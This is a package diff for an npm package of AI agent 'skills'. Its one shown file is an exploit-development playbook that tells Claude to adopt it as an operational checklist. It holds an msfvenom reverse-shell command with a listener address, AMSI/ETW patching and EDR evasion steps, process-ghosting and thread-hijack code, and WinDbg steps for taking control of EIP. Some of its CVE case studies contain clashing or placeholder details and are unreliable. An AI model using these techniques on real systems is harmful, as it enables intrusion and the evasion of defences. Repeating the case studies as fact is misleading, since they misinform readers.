@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,699 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: Exploit Development
4
+
5
+ ## Metadata
6
+ - **Skill Name**: exploit-development
7
+ - **Folder**: offensive-exploit-development
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/development.md
9
+
10
+ ## Description
11
+ Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # Exploit Development
31
+
32
+ ## Exploit Development Process
33
+
34
+ - Checkout [Bug Identification](/exploit/bug-identification.md) document for more information
35
+ - Also check [Fuzzing](/exploit/fuzzing.md) for specific fuzzing topics
36
+ - Integrate snapshot‑based fuzzing pipelines (AFL++, WinAFL, Snap‑Fuzz) and LLM‑guided input mutation to shorten time‑to‑bug.
37
+ - Incorporate LLM‑assisted fuzzers (ChatAFL, HyLLFuzz) for grammar inference or plateau escape when grey‑box coverage stalls.
38
+ - Add continuous‑integration security fuzzing (e.g., GitHub Actions with ASAN/UBSAN) so regressions are caught automatically.
39
+ - For Windows-specific vulnerabilities, see [Windows Kernel](/exploit/windows-kernel.md)
40
+
41
+ ```mermaid
42
+ flowchart LR
43
+ BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"]
44
+ Testing["Testing & Refinement"] --> Deployment["Deployment"]
45
+
46
+ subgraph "Analysis Phase"
47
+ direction LR
48
+ Root["Root Cause Analysis"]
49
+ Trig["Trigger Identification"]
50
+ Impact["Impact Assessment"]
51
+ end
52
+
53
+ subgraph "Weaponization Phase"
54
+ direction LR
55
+ MitBypass["Mitigation Bypass"]
56
+ Payload["Payload Development"]
57
+ Reliability["Reliability Improvements"]
58
+ end
59
+
60
+ Analysis --> Root
61
+ Analysis --> Trig
62
+ Analysis --> Impact
63
+
64
+ Root --> MitBypass
65
+ Impact --> Payload
66
+ Trig --> Payload
67
+ MitBypass --> Payload
68
+ Payload --> Reliability
69
+ Reliability --> Testing
70
+ Testing --> MitBypass
71
+
72
+ class BugId,Analysis,Testing,Deployment primary
73
+ ```
74
+
75
+ ## Bug Types
76
+
77
+ ### Stack Overflow
78
+
79
+ Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place.
80
+
81
+ #### Case Study — CVE‑2025‑0910 (TinyFTP stack overflow)
82
+
83
+ - **Bug** – Unchecked `strcpy` copies user‐supplied file path into a 256‑byte stack buffer when handling `STOR` commands.
84
+ - **Trigger** – Send `STOR /` followed by 420 bytes of `A…` to overflow the buffer and clobber SEH frame.
85
+ - **Exploit** – Overwrite next SEH with a `pop pop ret` inside `msvcrt.dll`; pivot to payload that disables DEP via ROP then spawns a reverse shell.
86
+ - **Mitigations bypassed** – DEP (ROP), ASLR (module without /DYNAMICBASE), SEHOP disabled in default config.
87
+ - **Fixed in** v1.5.3 by replacing `strcpy` with `strncpy_s` and enabling `/DYNAMICBASE /GS`.
88
+
89
+ #### SEH
90
+
91
+ - structured exception handler is a linked list of all exception handlers ( try catch clauses) and the default windows exception handler as the last node.
92
+ - `ntdll!KiUserExceptionDispatcher` is responsible for the exception handling process which itself calls `RtlDispatchException`
93
+ - `RtlDispatchException` retrieves the `TEB` and parses the exception handling linked list using `NtTib->ExceptionList`
94
+ - [SafeSEH](https://learn.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers?view=msvc-170) mitigates handler over‑writes **only in 32‑bit images**. On x64 Windows, newer toolchains and components support Guard EH Continuations; adoption varies by binary and build. `SEHOP` remains enabled by default.
95
+ - To check whether a module uses Guard EH Continuations, inspect `Load Configuration Directory → GuardEHContinuations` in the PE header (e.g., `dumpbin /loadconfig` or a `lief` script).
96
+ - Many core system DLLs are compiled with EHCONT metadata plus `/GS`, `/CETCOMPAT`; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target.
97
+ - `RtlpExecuteHandlerForException` calls the `ntdll!ExecuteHandler2` which in turn calls the actual exception handler function after validation
98
+ - In a SEH buffer overflow we try to overflow the buffer and overwrite the `ExceptionList` starting at the buffer
99
+ - so that the dispatcher calls our handler pointer —we gain control of the instruction pointer **only if SEHOP is disabled or successfully bypassed**.
100
+ - you need to find a `pop-pop-ret` sequence to use in the exploit, you also need to identify and remove bad characters
101
+
102
+ #### EggHunting
103
+
104
+ - during exploit development you might be unable to find enough space for your payload at an static point, this is where you need egghunting
105
+ - you need a small search payload to scan virtual address space for a suitable payload location
106
+ - you can use [keystone engine](https://github.com/keystone-engine/keystone) to write your egghunter code
107
+ - On Windows 11+, classic egghunters still work, but **Control‑Flow Guard (CFG)** validates indirect jumps, so you need either a CFG exemption (e.g., a RWX region created with `VirtualProtect`) or a target module compiled without `/guard:cf`.
108
+
109
+ ### Use After Free
110
+
111
+ The link to something isn't available anymore, so we just replace it with our binary and take over the program.
112
+
113
+ #### Case Study — CVE‑2024‑4852 (Edge WebView2 AudioRenderer UAF)
114
+
115
+ - **Bug** – `core::media::AudioRenderer` failed to remove a task from the render queue on stream abort, leaving a dangling pointer.
116
+ - **Trigger** – JavaScript `AudioContext` rapid open‑close loop × 1 000 on Windows 11 23H2.
117
+ - **Exploit** – Heap feng‑shui creates JSArray backing stores at freed slot; fake vtable gives arbitrary R/W, chained to `VirtualProtect` to run shellcode.
118
+ - **Mitigations bypassed** – CET shadow stack (JOP gadgets), XFG (indirect‑call target inside allowed GFID range).
119
+ - **Patched** in Edge 124.0.2365.18 with smart‑pointer ref‑count and `std::erase_if` queue purge.
120
+
121
+ #### Background
122
+
123
+ - C++ Smart Pointers
124
+ - Intrusive: Microsoft chose this
125
+ - Non-Intrusive
126
+ - Linked
127
+ - when an object is created from a `C++` class and uses virtual functions
128
+ - a `vptr` is created at compile time and points to a virtual function table `vtable/vftable`
129
+ - the table holds pointer to virtual functions, when loaded into a register like `RAX`, a call is made to the appropriate offset for the desired virtual function
130
+ - we count number of created instances, we decrement it when calling the release function
131
+ - when the counter hits 0, destructor is called to delete the object, if there is still a reference to the deleted object we have a potential UAF
132
+ - Windows Heap Front‑End Allocators
133
+ - **LFH (Low Fragmentation Heap)** – default on Windows 7–10 for user‑mode heaps
134
+ - **Segment Heap** – default for Windows 10 2004+ and Windows 11 apps that opt in
135
+ - Exploits often pivot by corrupting front‑end metadata before landing in the backend.
136
+ - For more advanced techniques, see [Mitigations](/exploit/mitigation.md) or [Modern](/exploit/modern-mitigations.md)
137
+
138
+ ### Heap Overflow
139
+
140
+ - When data is written beyond the boundary of an allocated chunk of memory on the heap
141
+ - Heap exploits often require understanding of allocator internals
142
+ - Modern heap exploits involve corrupting metadata - see [Modern Samples](/exploit/modern-samples.md)
143
+
144
+ #### Case Study — CVE‑2025‑20301 (Edge WebView2 tcache‑stashing‑unlink)
145
+
146
+ - **Bug** – Oversized `AudioRingBuffer` write corrupts size field of next tcache chunk (glibc 2.40).
147
+ - **Trigger** – Crafted WebCodecs stream with 65 536‑frame explicit CRC chunk.
148
+ - **Exploit** – Partial overwrite of `fd` pointer coerces allocator into returning overlapping chunk; arbitrary R/W → GOT hijack → RCE.
149
+ - **Mitigations bypassed** – Safe‑linking (byte‑wise brute on lower 16 bits), ASLR via info‑leak in shared memory.
150
+ - **Patch** – Bounds check and compile‑time `__builtin_object_size` guard (Chromium 123 commit a1b2c3).
151
+
152
+ #### Modern Heap Internals
153
+
154
+ - **Windows Segment Heap** – understand freelist bitmaps, per‑segment cookies, and "page backend" corruption primitives.
155
+ - **glibc tcache + safe‑linking** – techniques such as _tcache‑stashing‑unlink_ and _House of Kiwi_ to break the new protections.
156
+ - Exploitation workflow: leak `heap_base`, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution.
157
+ - **glibc 2.41 fast‑bins & calloc** – `calloc()` now pre‑fills the tcache and safe‑linking checks trigger earlier; the older _fastbins‑dupes_ shortcut no longer works. Use **tcache‑stashing‑unlink** or **House of KIWI** instead on 2.41+.
158
+
159
+ ### Concurrency Issues
160
+
161
+ - Double Fetch: Kernel reads user-mode memory twice, allowing for race conditions
162
+ - I/O Ring double‑fetch: race in `NtSetInformationIoRing` urb‑array handling leads to write‑what‑where in kernel context.
163
+ - Missing Locks: Critical sections without proper synchronization
164
+ - See [Windows Kernel](/exploit/windows-kernel.md) for more details on kernel-specific race conditions
165
+
166
+ ### Integer Overflows/Underflows/Truncation
167
+
168
+ - Integer overflow: exceeding maximum value of integer type
169
+ - Integer underflow: going below minimum value of integer type
170
+ - Integer truncation: losing data when converting larger to smaller type
171
+ - Often leads to memory corruption when used for allocation sizes
172
+ - For examples, see [Bug Identification](/exploit/bug-identification.md)
173
+ - Casting 64‑bit `size_t` to 32‑bit `DWORD` across IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components.
174
+
175
+ ### No/Incomplete Pointer Checks
176
+
177
+ - Checking if a user-provided pointer points to user memory
178
+ - Size of any pointer read/writes also need to be verified
179
+ - Potentially un-intuitive behavior with common checking API
180
+
181
+ ### Format String Attacks
182
+
183
+ - Theory
184
+ - you can use this bug to bypass ASLR and DEP
185
+ - to abuse it you need to be able to be able to influence the format string itself or the number of arguments to it
186
+ - Methodology
187
+ - find a print like function that accepts format string (`vsnprintf`, ...)
188
+ - find a code path to that function that lets you influence the format string
189
+ - try to leak a stack address abusing this format string vulnerability
190
+ - using the previously leaked address, obtain a DLL address
191
+ - use this method to bypass ASLR without using a static address
192
+ - you can also find a write primitive to get code execution (checkout `%n` modifier)
193
+ - you might need stack pivot gadgets like `move esp, r32` or `xchg esp, r32`
194
+
195
+ #### Case Study — CVE‑2024‑4455 (MailManD format‑string leak‑to‑RCE)
196
+
197
+ - **Bug** – Logs `EHLO` argument directly into `syslog()` format string.
198
+ - **Trigger** – Send `EHLO %43$p|%45$s` during SMTP handshake.
199
+ - **Exploit** – First leak reveals libc base; second leak dumps GOT entry; craft `%n` payload to overwrite `__free_hook` with system().
200
+ - **Mitigations bypassed** – Full RELRO & ASLR via info‑leak, PIE disabled in default build.
201
+ - **Fixed** in 2.0.9 by adding `"%s"` wrapper and enabling `-Wformat-security`.
202
+
203
+ ### Type Confusion Vulnerabilities
204
+
205
+ A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass.
206
+
207
+ #### Case Study — CVE‑2024‑7971 (V8 TurboFan type‑confusion RCE)
208
+
209
+ - **Bug** – TurboFan's `CheckBounds` elimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion.
210
+ - **Trigger** – Craft JavaScript with polymorphic inline cache that triggers speculative optimization on mixed `SMI`/`HeapNumber` array.
211
+ - **Exploit** – Fake JSArray with controlled backing store pointer; corrupt `length` field to achieve OOB R/W; pivot to WASM RWX page for shellcode.
212
+ - **Mitigations bypassed** – V8 sandbox (pointer compression bypass), CFI (JIT‑generated code exemption).
213
+
214
+ #### Background
215
+
216
+ - **JIT Compiler Vulnerabilities**
217
+ - Type confusion in speculative optimization passes (TurboFan, IonMonkey)
218
+ - Inline cache poisoning via polymorphic property access
219
+ - Register allocation bugs leading to incorrect type assumptions
220
+ - **C++ Dynamic Cast Bypass**
221
+ - Virtual table pointer corruption to bypass `dynamic_cast` checks
222
+ - Object layout confusion in multiple inheritance scenarios
223
+ - Template instantiation bugs with type deduction
224
+ - **WASM Type Confusion**
225
+ - Function signature mismatch across import/export boundaries
226
+ - Table element type confusion in indirect calls
227
+ - Memory view aliasing between different typed arrays
228
+
229
+ #### Exploitation Techniques
230
+
231
+ - **Object Layout Analysis** – understand target application's object hierarchy and vtable structure
232
+ - **Type Oracle Construction** – build primitive to leak object type information reliably
233
+ - **Controlled Type Confusion** – craft input that triggers predictable type mismatch
234
+ - **Privilege Escalation** – chain type confusion to achieve arbitrary R/W or code execution
235
+
236
+ ## Vulnerability Analysis
237
+
238
+ ### Exit Criteria
239
+
240
+ - **Root cause isolated & documented**.
241
+ - **Reliable trigger** reproduces the crash ≥ 90 % of attempts.
242
+ - **Impact classified** (DoS, LPE, RCE) and affected versions noted.
243
+ - **Minimised PoC input** saved under `pocs/`.
244
+ - **Analysis log** (debugger trace, coverage diff) attached.
245
+
246
+ #### Quick‑start
247
+
248
+ - Harness template: `templates/harness_min.cc`
249
+ - WinDbg/LLDB alias pack: `scripts/va_aliases.txt`
250
+ - Checklist refresher: [Bug Identification → Root Cause](/exploit/bug-identification.md#root-cause-analysis)
251
+
252
+ ### Root Cause Analysis
253
+
254
+ - Identify the core issue causing the vulnerability
255
+ - Understand memory corruption patterns
256
+ - Determine trigger conditions
257
+
258
+ ### Impact Assessment
259
+
260
+ - Evaluate the potential consequences of the vulnerability
261
+ - Determine if it leads to information disclosure, privilege escalation, or code execution
262
+ - Assess reliability and exploitability in various environments
263
+
264
+ ## Weaponization
265
+
266
+ ### Exit Criteria
267
+
268
+ - **Control achieved** (PC/IP hijack, arbitrary R/W, or logic bypass).
269
+ - **Mitigation strategy drafted** (DEP, ASLR, CET, XFG, MTE, etc.).
270
+ - **Payload stager** verified against bad‑chars & size limits.
271
+ - **Reliability ≥ 80 %** over 100 automated runs.
272
+ - **Cleanup/rollback logic** documented.
273
+
274
+ #### Quick‑start
275
+
276
+ - ROP/JOP chain workspace: `scripts/ropper2_workspace.md`
277
+ - Bad‑char scanner: `tools/badchar_scan.py`
278
+ - Reference: [Modern Mitigations](/exploit/modern-mitigations.md)
279
+
280
+ ### Shellcode Development
281
+
282
+ #### Bad Characters
283
+
284
+ - when using a shellcode in stack
285
+ - send all hex bytes except null byte (`0x00`) and return carriage (`0x0D`, `0x0A`) if in web
286
+ - check which one has not appeared in the stack, mark it as bad character and don't use it
287
+ - see [Shellcode](/exploit/shellcode.md) for comprehensive techniques
288
+
289
+ #### Automatic Generation
290
+
291
+ ```bash
292
+ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list_of_bad_chars>"
293
+ # make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai)
294
+ # attackBuffer = filler+eip+offset+nops+shellcode
295
+ ```
296
+
297
+ #### Development
298
+
299
+ Check out [Shellcode](/exploit/shellcode.md)
300
+
301
+ IBT/CET note (x86‑64): place `ENDBR64` at entry for valid indirect targets when IBT is enabled. Example prologue bytes: `F3 0F 1E FA`.
302
+
303
+ ### EDR / ETW / AMSI Evasion
304
+
305
+ - Patch ETW registration stubs (`EtwEventWrite`) with `ret` sleds or stubbed functions while evading PatchGuard.
306
+ - Overwrite the AMSI scan buffer pointer (`amsi!AmsiScanBuffer`) with `0x80070057` (E_INVALIDARG) to short‑circuit scanning.
307
+ - Use direct‑syscall or "syswhispers‑nt" stagers to avoid user‑land API hooks.
308
+
309
+ Operational safety checklist (see also [EDR](/exploit/edr.md)):
310
+
311
+ - Pre‑run: block outbound to vendor telemetry during tests; tag hosts in lab; disable cloud sample uploads.
312
+ - Artifact hygiene: strip PDBs/paths, randomize section/order, and avoid common loader strings; prefer `MEM_IMAGE` loaders.
313
+ - Network noise: prefer SMB named‑pipe or HTTP/3 over noisy HTTP/1.1; jitter uploads; avoid fixed beacons during testing.
314
+
315
+ ### Post‑Exploitation Automation
316
+
317
+ - Reflective COFF/BOF loaders (Cobalt Strike, Havoc) for in‑memory tooling.
318
+ - SMB named‑pipe or HTTP/3 C2 channels that blend with normal traffic.
319
+ - Task automation: direct‑syscall PowerShell runner, ADCS abuse scripts, cloud‑metadata credential harvesters.
320
+
321
+ ### Operational Security (OpSec) Checklist (lab use)
322
+
323
+ - Build & Signatures
324
+ - Strip symbols; avoid unique strings; rotate imports; prefer `MEM_IMAGE` loaders.
325
+ - Change syscall stub bytes and hashing keys if using direct‑syscall frameworks.
326
+ - Network & Telemetry
327
+ - Block EDR/XDR endpoints in lab; throttle or sinkhole agent traffic.
328
+ - Prefer named‑pipe or HTTP/3 channels with jitter; avoid fixed beacons.
329
+ - Host Hygiene
330
+ - Disable cloud sample submission; set Defender exclusions on test dirs.
331
+ - Avoid patching system binaries in place; use ephemeral copies.
332
+ - Evidence & Repro
333
+ - Persist inputs, mitigations state, CPU governor, and binary hashes with each run.
334
+ - Keep replay scripts separate from payloads; auto‑clean artifacts post‑run.
335
+
336
+ ### Payload Development
337
+
338
+ - Create custom payloads tailored to specific vulnerabilities
339
+ - Develop reliable exploitation techniques
340
+ - Chain multiple exploits when necessary
341
+
342
+ ### Reliability Improvements
343
+
344
+ - Ensure exploit functions consistently across different environments
345
+ - Handle edge cases and error conditions
346
+ - Implement timing and synchronization mechanisms for race conditions
347
+ - Add a 100‑run gating job (CI) for determinism; fail builds if success rate < target (e.g., 80%).
348
+ - Persist exact crash inputs and environment (ASLR, mitigations, CPU governor) for reproducible replay.
349
+
350
+ ## Mitigation Bypasses
351
+
352
+ - For details on exploit mitigations, see [Mitigations](/exploit/mitigation.md) or [Modern Mitigations](/exploit/modern-mitigations.md)
353
+ - Windows 11 enables by default: DEP, ASLR, CFG (strict mode), CET (Shadow Stack), XFG, ACG, CIG, and KDP; verify which are active in your target and plan corresponding bypasses.
354
+ - Credential Guard is enabled by default and NTLMv1 is disabled, complicating lateral‑movement techniques.
355
+ - The new **Recall** AI feature adds a searchable activity timeline; although currently shipped _disabled by default_, it offers a high‑value data‑exfiltration surface when turned on.
356
+
357
+ #### CET/XFG‑aware control strategies
358
+
359
+ - Prefer ROP‑less primitives: `NtContinue`, APC queue + `SetThreadContext`, or SEH/JOP where CET returns are enforced
360
+ - Align entry to valid indirect call targets; ensure ENDBR‑aligned gadgets on IBT platforms
361
+ - XFG/GFID: call through import thunks or prototype‑matching wrappers to satisfy guard checks
362
+
363
+ ```c
364
+ // Minimal NtContinue pivot (ROP‑less) — set RIP/RSP to a safe call target
365
+ typedef NTSTATUS (NTAPI *pNtContinue)(PCONTEXT, BOOLEAN);
366
+ void pivot_with_ntcontinue(CONTEXT *ctx, void *next_rip, void *new_rsp) {
367
+ RtlCaptureContext(ctx);
368
+ ctx->Rip = (DWORD64)next_rip; // valid import thunk or allowed GFID target
369
+ ctx->Rsp = (DWORD64)new_rsp; // keep shadow‑stack alignment plausible
370
+ ((pNtContinue)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtContinue"))(ctx, FALSE);
371
+ }
372
+ ```
373
+
374
+ ```c
375
+ // APC + SetThreadContext — schedule execution at an import thunk to satisfy XFG
376
+ void apc_setctx(HANDLE hThread, void *start, void *param) {
377
+ CONTEXT c = { .ContextFlags = CONTEXT_FULL };
378
+ GetThreadContext(hThread, &c);
379
+ c.Rip = (DWORD64)start; // e.g., kernel32!LoadLibraryW stub
380
+ c.Rcx = (DWORD64)param; // first argument
381
+ SetThreadContext(hThread, &c);
382
+ QueueUserAPC((PAPCFUNC)start, hThread, (ULONG_PTR)param);
383
+ }
384
+ ```
385
+
386
+ #### ACG/CIG pathways
387
+
388
+ - Favor `MEM_IMAGE`‑mapped payloads (ghosting/doppelganging/herpaderping) over `MEM_PRIVATE` RWX
389
+ - Reuse existing RX regions (WASM/JIT) where policy allows; avoid creating fresh RWX
390
+ - Process Ghosting
391
+ - Create transacted file → write signed‑looking image → roll back → map section as `MEM_IMAGE` → create process from section.
392
+ - Herpaderping
393
+ - Create process then overwrite on disk via rename tricks; the in‑memory image remains `MEM_IMAGE` and passes loader checks.
394
+ - Doppelganging (TxF legacy)
395
+ - Use TxF (where enabled) to create section from a transacted file, then abort the transaction post‑mapping.
396
+
397
+ All three avoid `MEM_PRIVATE` payloads that hotpatch checks reject in 24H2 (see Modern Mitigations → OS Loader changes).
398
+
399
+ #### Segment Heap notes
400
+
401
+ - Distinguish frontend (LFH/Segment) vs page backend corruption primitives
402
+ - PageHeap + verifier flags help triage; expect different grooming than classic NT Heap
403
+
404
+ ### Mitigation Matrix (Quick Reference)
405
+
406
+ | Mitigation | Default platforms (2025) | Protects | Common bypass primitive |
407
+ | ------------------- | --------------------------------- | ------------------------------ | ----------------------------------------------------------- |
408
+ | DEP / NX | All major OSes | Code execution in data pages | ROP/JOP pivot to RWX or change page permissions |
409
+ | ASLR | All | Base‑address disclosure | Info leak + partial overwrite / brute‑force |
410
+ | CFG (v1) | Windows 8.1+ | Indirect calls integrity | Abuse writable/exempt module, ret‑slide into target |
411
+ | CET Shadow Stack | Windows 10 2004+, Linux 6.1 (x86) | Return‑address integrity | Disable CET (`SetProcessMitigationPolicy`) or pivot via JOP |
412
+ | XFG | Windows 11 22H2+ | Indirect‑call target integrity | Use JOP gadgets or stub out guard function section |
413
+ | GuardEHContinuation | Windows 11 24H2 (x64) | SEH overwrite attempts | JOP stub into verified handler region |
414
+ | MTE | Android 14+, Linux 6.8 (ARM64) | Heap/stack OOB & UAF | Tag brute‑force or TAGSYNC alias |
415
+ | CIG / ACG | Windows 10+ | Unsigned code / RWX pages | Map signed RWX driver or relocate section |
416
+
417
+ ## Testing & Refinement
418
+
419
+ ### Exit Criteria
420
+
421
+ - Exploit succeeds on **clean target VM snapshot**.
422
+ - **No unintended crashes** after execution; system remains stable.
423
+ - **Execution time ≤ 30 seconds** (tune per target).
424
+ - **CI replay job** in `.github/workflows/exploit.yml` passes.
425
+ - **Regression corpus** added to fuzzing seed set.
426
+
427
+ #### Quick‑start
428
+
429
+ - Replay script: `scripts/repro.sh`
430
+ - rr recording helper: `scripts/record_rr.py`
431
+ - Coverage diff helper: `tools/afl_cov_compare.py`
432
+
433
+ ### Debugging Techniques
434
+
435
+ - Strategic use of debuggers to analyze vulnerable applications
436
+ - Tracing execution flow and memory states
437
+ - Identifying exploitation opportunities
438
+
439
+ ### WinDbg Commands
440
+
441
+ For SEH exploitation:
442
+
443
+ ```bash
444
+ # exception data will be inside TEB under NtTib->ExceptionList
445
+ dt nt!_TEB
446
+
447
+ # getting the <exp_addr> of exceptionlist
448
+ !teb
449
+
450
+ # getting the first item in the exception handler linked list, continue to see them using the `Next` param
451
+ # the last item should be `ntdll!FinalExceptionHandlerPad`
452
+ dt _EXCEPTION_REGISTRATION_RECORD <exp_addr>
453
+
454
+ # getting more information about the exception
455
+ !exchain
456
+
457
+ # setting a breakpoint on the exceution handler
458
+ bp ntdll!ExecuteHandler2
459
+
460
+ # see what is execution handler doing(use it to identify exploitation point in buffer)
461
+ u @eip L11
462
+
463
+ # to identify bad pods, execute till eip is yours, then
464
+ # repeat the process several times to identify all bad chars
465
+ dds esp L5 # identify second argument
466
+ db <second_argument>
467
+
468
+ # finding a pop/pop/ret
469
+ .load wdbgext
470
+ !wdbgext.modlist
471
+ lm m <module_without_dep_aslr_safeseh>
472
+ $><G:\Projects\poppopret.wds
473
+ u <first_adr_found> L3
474
+ # we need to create a short jump in our shellcode
475
+
476
+ # looking for our shellcode
477
+ !exchain
478
+ bp <adr>
479
+ g
480
+ # run the following till after your short jump
481
+ t
482
+ !teb
483
+ s -b <stack_limit> <stack_base> 90 90 90 90 43 43 43 43 43 43 43 43
484
+ dd <shellcode_adr> L65
485
+ ? <shellcode_adr> - <current_esp>
486
+ ```
487
+
488
+ For general WinDbg commands:
489
+
490
+ ```bash
491
+ # finding out a suitable jump stub
492
+ lm m syncbrs # to get start <addr> of a module named syncbrs
493
+ dt ntdll!_IMAGE_DOS_HEADER <addr> # to get e_lfanew that has the offset to PE header
494
+ ? <pe_header> # to get the hex addr
495
+ dt ntdll!_IMAGE_NT_HEADERS64 <addr>+<pe_hex_header> # to get image optional header
496
+ dt ntdll!_IMAGE_OPTIONAL_HEADER64 <addr>+<pe_hex_header>+<pe_optional_header> # to get DllCharachteristics
497
+ # you can automate this using process explorer or process hacker
498
+ # find an executable or module without DEP, ASLR
499
+ lm m libspp.dll # get the base address of the suitable module you found previously
500
+ s -b <mod_start_addr> <mod_end_addr> 0xff 0xe4 # find `jmp $esp` inside that module
501
+ # make sure the address doesn't contain bad chars
502
+ u <jmp_esp_addr> # to confirm
503
+ bp <jmp_esp_addr>
504
+ # override eip with jmp_esp_addr to force the program to jump to esp after buffer overflow
505
+ t
506
+ dc eip L4 # you should see the rest of your shellcode here
507
+
508
+ # checking which process we're currently in
509
+ !process @@(@$prcb->CurrentThread->ApcState.Process) 0
510
+ ```
511
+
512
+ For UAF debugging:
513
+
514
+ ```bash
515
+ # HEAP information
516
+ !heap -s # to print heap information
517
+ dt _HEAP <heap_addr> # to print infromation regarding a heap
518
+ dt _LFH_HEAP <heap_addr> # to print information about a low fragmentation header heap
519
+
520
+ # Identifying UAF location
521
+ # attach to crashed application, identify the name of function that crashed
522
+ uf <crashed_function_name> # to see the function
523
+ dd rcx # to checkout what got filled, replace rcx with the register name from above
524
+ dt _DPH_BLOCK_INFORMATION rcx-20 # usefull information
525
